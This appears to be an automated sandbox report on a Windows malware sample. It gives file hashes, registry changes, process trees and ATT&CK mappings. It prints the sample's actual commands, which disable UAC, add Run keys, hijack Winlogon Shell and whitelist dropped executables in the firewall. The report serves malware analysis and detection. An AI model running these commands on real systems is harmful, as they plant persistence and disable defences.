Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
141s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
12/10/2024, 19:23
Behavioral task
behavioral1
Sample
1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe
Resource
win10v2004-20241007-en
General
-
Target
1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe
-
Size
1.7MB
-
MD5
ce281d3cea993ab4c7a151308a215b99
-
SHA1
f2bc0362a45665ea5f7eaae0305a65a9dc412539
-
SHA256
1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195
-
SHA512
6b535c2355d9d11aca6d74d5d02fea0638668a9e51aca3ca38480bd0719f9a7f84ddda49f767816242d966948d898d1d90ad9efe45a3236f009e9eb7b3ca7b24
-
SSDEEP
24576:89SQXgnU56Gt4ULYVI8RGwvrK7/ckFLI78cP9:ssnxUA
Malware Config
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe, C:\\Program Files (x86)\\Internet Explorer\\Ieupdate.exe" reg.exe -
Modifies firewall policy service 3 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0" reg.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\Program Files (x86)\Internet Explorer\Ieupdate.exe = "C:\\Program Files (x86)\\Internet Explorer\\Ieupdate.exe:*:Enabled:Windows Messanger" reg.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\Users\Admin\AppData\Roaming\vb6.exe = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe:*:Enabled:Windows Messanger" reg.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run Ieupdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\Microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe -
Boot or Logon Autostart Execution: Active Setup 2 TTPs 4 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Active Setup\Installed Components\{EAFF07AB-FA6F-2EBB-4DBF-CDBBEA4DDCE3} Ieupdate.exe Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Active Setup\Installed Components\{EAFF07AB-FA6F-2EBB-4DBF-CDBBEA4DDCE3}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{EAFF07AB-FA6F-2EBB-4DBF-CDBBEA4DDCE3} Ieupdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{EAFF07AB-FA6F-2EBB-4DBF-CDBBEA4DDCE3}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe -
Executes dropped EXE 3 IoCs
pid Process 1996 Ieupdate.exe 2120 Ieupdate.exe 2932 Ieupdate.exe -
Loads dropped DLL 6 IoCs
pid Process 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 1996 Ieupdate.exe 1996 Ieupdate.exe -
Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\IeUpdate = "C:\\Program Files (x86)\\Internet Explorer\\Ieupdate.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\IeUpdate = "C:\\Program Files (x86)\\Internet Explorer\\Ieupdate.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\vb6.exe" Ieupdate.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Ieupdate.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1996 set thread context of 2120 1996 Ieupdate.exe 44 PID 1996 set thread context of 2932 1996 Ieupdate.exe 45 -
resource yara_rule behavioral1/memory/1096-0-0x0000000000400000-0x00000000005A9000-memory.dmp upx behavioral1/files/0x002f000000019604-81.dat upx behavioral1/memory/2120-106-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-103-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-101-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/1996-118-0x0000000000400000-0x00000000005A9000-memory.dmp upx behavioral1/memory/2932-117-0x0000000000400000-0x0000000000409000-memory.dmp upx behavioral1/memory/2932-116-0x0000000000400000-0x0000000000409000-memory.dmp upx behavioral1/memory/2932-114-0x0000000000400000-0x0000000000409000-memory.dmp upx behavioral1/memory/1096-95-0x0000000000400000-0x00000000005A9000-memory.dmp upx behavioral1/memory/2120-121-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2932-123-0x0000000000400000-0x0000000000409000-memory.dmp upx behavioral1/memory/2120-124-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-127-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-129-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-131-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-133-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-135-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-137-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-139-0x0000000000400000-0x000000000045C000-memory.dmp upx behavioral1/memory/2120-143-0x0000000000400000-0x000000000045C000-memory.dmp upx -
Drops file in Program Files directory 5 IoCs
description ioc Process File created C:\Program Files (x86)\Internet Explorer\Ieupdate.txt 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe File opened for modification C:\Program Files (x86)\Internet Explorer\Ieupdate.txt 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe File created C:\Program Files (x86)\Internet Explorer\Ieupdate.exe 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe File opened for modification C:\Program Files (x86)\Internet Explorer\Ieupdate.exe Ieupdate.exe File opened for modification C:\Program Files (x86)\Internet Explorer\Ieupdate.exe Ieupdate.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 21 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ieupdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ieupdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ieupdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Modifies registry key 1 TTPs 4 IoCs
pid Process 2888 reg.exe 2392 reg.exe 2372 reg.exe 2016 reg.exe -
Suspicious use of AdjustPrivilegeToken 37 IoCs
description pid Process Token: 1 2120 Ieupdate.exe Token: SeCreateTokenPrivilege 2120 Ieupdate.exe Token: SeAssignPrimaryTokenPrivilege 2120 Ieupdate.exe Token: SeLockMemoryPrivilege 2120 Ieupdate.exe Token: SeIncreaseQuotaPrivilege 2120 Ieupdate.exe Token: SeMachineAccountPrivilege 2120 Ieupdate.exe Token: SeTcbPrivilege 2120 Ieupdate.exe Token: SeSecurityPrivilege 2120 Ieupdate.exe Token: SeTakeOwnershipPrivilege 2120 Ieupdate.exe Token: SeLoadDriverPrivilege 2120 Ieupdate.exe Token: SeSystemProfilePrivilege 2120 Ieupdate.exe Token: SeSystemtimePrivilege 2120 Ieupdate.exe Token: SeProfSingleProcessPrivilege 2120 Ieupdate.exe Token: SeIncBasePriorityPrivilege 2120 Ieupdate.exe Token: SeCreatePagefilePrivilege 2120 Ieupdate.exe Token: SeCreatePermanentPrivilege 2120 Ieupdate.exe Token: SeBackupPrivilege 2120 Ieupdate.exe Token: SeRestorePrivilege 2120 Ieupdate.exe Token: SeShutdownPrivilege 2120 Ieupdate.exe Token: SeDebugPrivilege 2120 Ieupdate.exe Token: SeAuditPrivilege 2120 Ieupdate.exe Token: SeSystemEnvironmentPrivilege 2120 Ieupdate.exe Token: SeChangeNotifyPrivilege 2120 Ieupdate.exe Token: SeRemoteShutdownPrivilege 2120 Ieupdate.exe Token: SeUndockPrivilege 2120 Ieupdate.exe Token: SeSyncAgentPrivilege 2120 Ieupdate.exe Token: SeEnableDelegationPrivilege 2120 Ieupdate.exe Token: SeManageVolumePrivilege 2120 Ieupdate.exe Token: SeImpersonatePrivilege 2120 Ieupdate.exe Token: SeCreateGlobalPrivilege 2120 Ieupdate.exe Token: 31 2120 Ieupdate.exe Token: 32 2120 Ieupdate.exe Token: 33 2120 Ieupdate.exe Token: 34 2120 Ieupdate.exe Token: 35 2120 Ieupdate.exe Token: SeDebugPrivilege 2120 Ieupdate.exe Token: SeDebugPrivilege 2932 Ieupdate.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 1996 Ieupdate.exe 2120 Ieupdate.exe 2120 Ieupdate.exe 2120 Ieupdate.exe 2932 Ieupdate.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1096 wrote to memory of 2836 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 30 PID 1096 wrote to memory of 2836 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 30 PID 1096 wrote to memory of 2836 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 30 PID 1096 wrote to memory of 2836 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 30 PID 2836 wrote to memory of 2956 2836 cmd.exe 32 PID 2836 wrote to memory of 2956 2836 cmd.exe 32 PID 2836 wrote to memory of 2956 2836 cmd.exe 32 PID 2836 wrote to memory of 2956 2836 cmd.exe 32 PID 2836 wrote to memory of 2864 2836 cmd.exe 33 PID 2836 wrote to memory of 2864 2836 cmd.exe 33 PID 2836 wrote to memory of 2864 2836 cmd.exe 33 PID 2836 wrote to memory of 2864 2836 cmd.exe 33 PID 1096 wrote to memory of 3004 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 34 PID 1096 wrote to memory of 3004 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 34 PID 1096 wrote to memory of 3004 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 34 PID 1096 wrote to memory of 3004 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 34 PID 3004 wrote to memory of 2072 3004 cmd.exe 36 PID 3004 wrote to memory of 2072 3004 cmd.exe 36 PID 3004 wrote to memory of 2072 3004 cmd.exe 36 PID 3004 wrote to memory of 2072 3004 cmd.exe 36 PID 1096 wrote to memory of 2700 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 37 PID 1096 wrote to memory of 2700 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 37 PID 1096 wrote to memory of 2700 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 37 PID 1096 wrote to memory of 2700 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 37 PID 2700 wrote to memory of 656 2700 cmd.exe 39 PID 2700 wrote to memory of 656 2700 cmd.exe 39 PID 2700 wrote to memory of 656 2700 cmd.exe 39 PID 2700 wrote to memory of 656 2700 cmd.exe 39 PID 1096 wrote to memory of 3052 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 40 PID 1096 wrote to memory of 3052 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 40 PID 1096 wrote to memory of 3052 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 40 PID 1096 wrote to memory of 3052 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 40 PID 3052 wrote to memory of 2460 3052 cmd.exe 42 PID 3052 wrote to memory of 2460 3052 cmd.exe 42 PID 3052 wrote to memory of 2460 3052 cmd.exe 42 PID 3052 wrote to memory of 2460 3052 cmd.exe 42 PID 1096 wrote to memory of 1996 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 43 PID 1096 wrote to memory of 1996 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 43 PID 1096 wrote to memory of 1996 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 43 PID 1096 wrote to memory of 1996 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 43 PID 1096 wrote to memory of 1996 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 43 PID 1096 wrote to memory of 1996 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 43 PID 1096 wrote to memory of 1996 1096 1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe 43 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2120 1996 Ieupdate.exe 44 PID 1996 wrote to memory of 2932 1996 Ieupdate.exe 45 PID 1996 wrote to memory of 2932 1996 Ieupdate.exe 45 PID 1996 wrote to memory of 2932 1996 Ieupdate.exe 45 PID 1996 wrote to memory of 2932 1996 Ieupdate.exe 45 PID 1996 wrote to memory of 2932 1996 Ieupdate.exe 45 PID 1996 wrote to memory of 2932 1996 Ieupdate.exe 45 PID 1996 wrote to memory of 2932 1996 Ieupdate.exe 45 PID 1996 wrote to memory of 2932 1996 Ieupdate.exe 45 PID 2120 wrote to memory of 1256 2120 Ieupdate.exe 46
Processes
-
C:\Users\Admin\AppData\Local\Temp\1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe"C:\Users\Admin\AppData\Local\Temp\1ac7b11f2970f58550848929c1a9899132f5914e0922325a277572318c2ce195.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\SysWOW64\reg.exeREG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f3⤵
- System Location Discovery: System Language Discovery
PID:2956
-
-
C:\Windows\SysWOW64\reg.exeREG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- UAC bypass
- System Location Discovery: System Language Discovery
PID:2864
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\BchFU.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3004 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "IeUpdate" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:2072
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\rzlWB.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "IeUpdate" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:656
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\ZESbl.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "Explorer.exe, C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /f3⤵
- Modifies WinLogon for persistence
- System Location Discovery: System Language Discovery
PID:2460
-
-
-
C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"3⤵
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f4⤵
- System Location Discovery: System Language Discovery
PID:1256 -
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f5⤵
- Modifies firewall policy service
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe:*:Enabled:Windows Messanger" /f4⤵
- System Location Discovery: System Language Discovery
PID:2260 -
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe:*:Enabled:Windows Messanger" /f5⤵
- Modifies firewall policy service
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2372
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f4⤵
- System Location Discovery: System Language Discovery
PID:2520 -
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f5⤵
- Modifies firewall policy service
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2016
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\vb6.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\vb6.exe:*:Enabled:Windows Messanger" /f4⤵
- System Location Discovery: System Language Discovery
PID:2564 -
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\vb6.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\vb6.exe:*:Enabled:Windows Messanger" /f5⤵
- Modifies firewall policy service
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:2392
-
-
-
-
C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2932
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
4Active Setup
1Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
4Active Setup
1Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Modify Registry
7Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD5f3aa5e0077dfe502aa8eb17768ade2c5
SHA1bdb305fbda796abd266451c83b04a1593ebea80a
SHA25637790d8ed354c51a9391fb3ef46b1bb588eca1d7fa2d40fb20d8774d298a150a
SHA51287333a997fead3dbd1139408d71cded3ac3d94331c151c8a1e37bf353a426901dc05d285968057d5c7b61467a64492a17353ead45004ed3d96692918045a1c89
-
Filesize
148B
MD55d73853d695283e13b412c88ec62984c
SHA1672379399a80a746a8f0d8043bbf98956101d0ca
SHA25659884297b763a498c1f55e4ba57f04597ab37677feb9b686839e7553942cf335
SHA5129043d02ec14cc4869cc8c01562838c11448e2bff42af32ec0a60de76fa8915c3a3a50529ce567c6cb93d2691525b38862257993674c263ed25f6625e370cb2d2
-
Filesize
274B
MD59fcec2a4ee61953e0d4867261a39ea32
SHA1d552acf26d9fcc31a9da82ecce503b16a11e9d2a
SHA25624c5da914d1f429c07ef17dfb7d4d0c90eb060e5a9bd009963fba83b1dd6cae3
SHA51257d8a88138645780357a88658f21f833efa0ba657dd1fefa6458ba930731e1949216b518f26ab995241837bc7e6eff90b46e5cb5ec34364d2f89db09779e5564
-
Filesize
181B
MD509d67635a7674b12183c3f0668ce0cd1
SHA1c3fe2225cc5198a1c33df0342a95528c2e657a6d
SHA256972e896e8649a5d2caf286a0d75db99909587b1d2f4683870207b547c3bc02d9
SHA512b37bdad4fb0e9ab947ea5750337de073907d31156d0d00a1a79392741ced2d1aabf1cc2d92581d7f068266f82cd5b2c10fd7e5c573044e6ce77dea6da6dde321
-
Filesize
148B
MD53d470539cbafa762cdb72a4635ad553d
SHA14bda3e7de91052dc7d073d8b278ad09ad0d10fa6
SHA2569f0571e3567d7e1849c7bd5dd7b7a2be942ec44aea6c8bb32d415874b7282691
SHA51242b168fabd5ddd175ccd143d4f9338880aad03eb22d07fb8a2e13f387015b9eb1d23307bff3ae370c95a5644c88c5e9f7c8b12b332b595c79be069ffc92a448e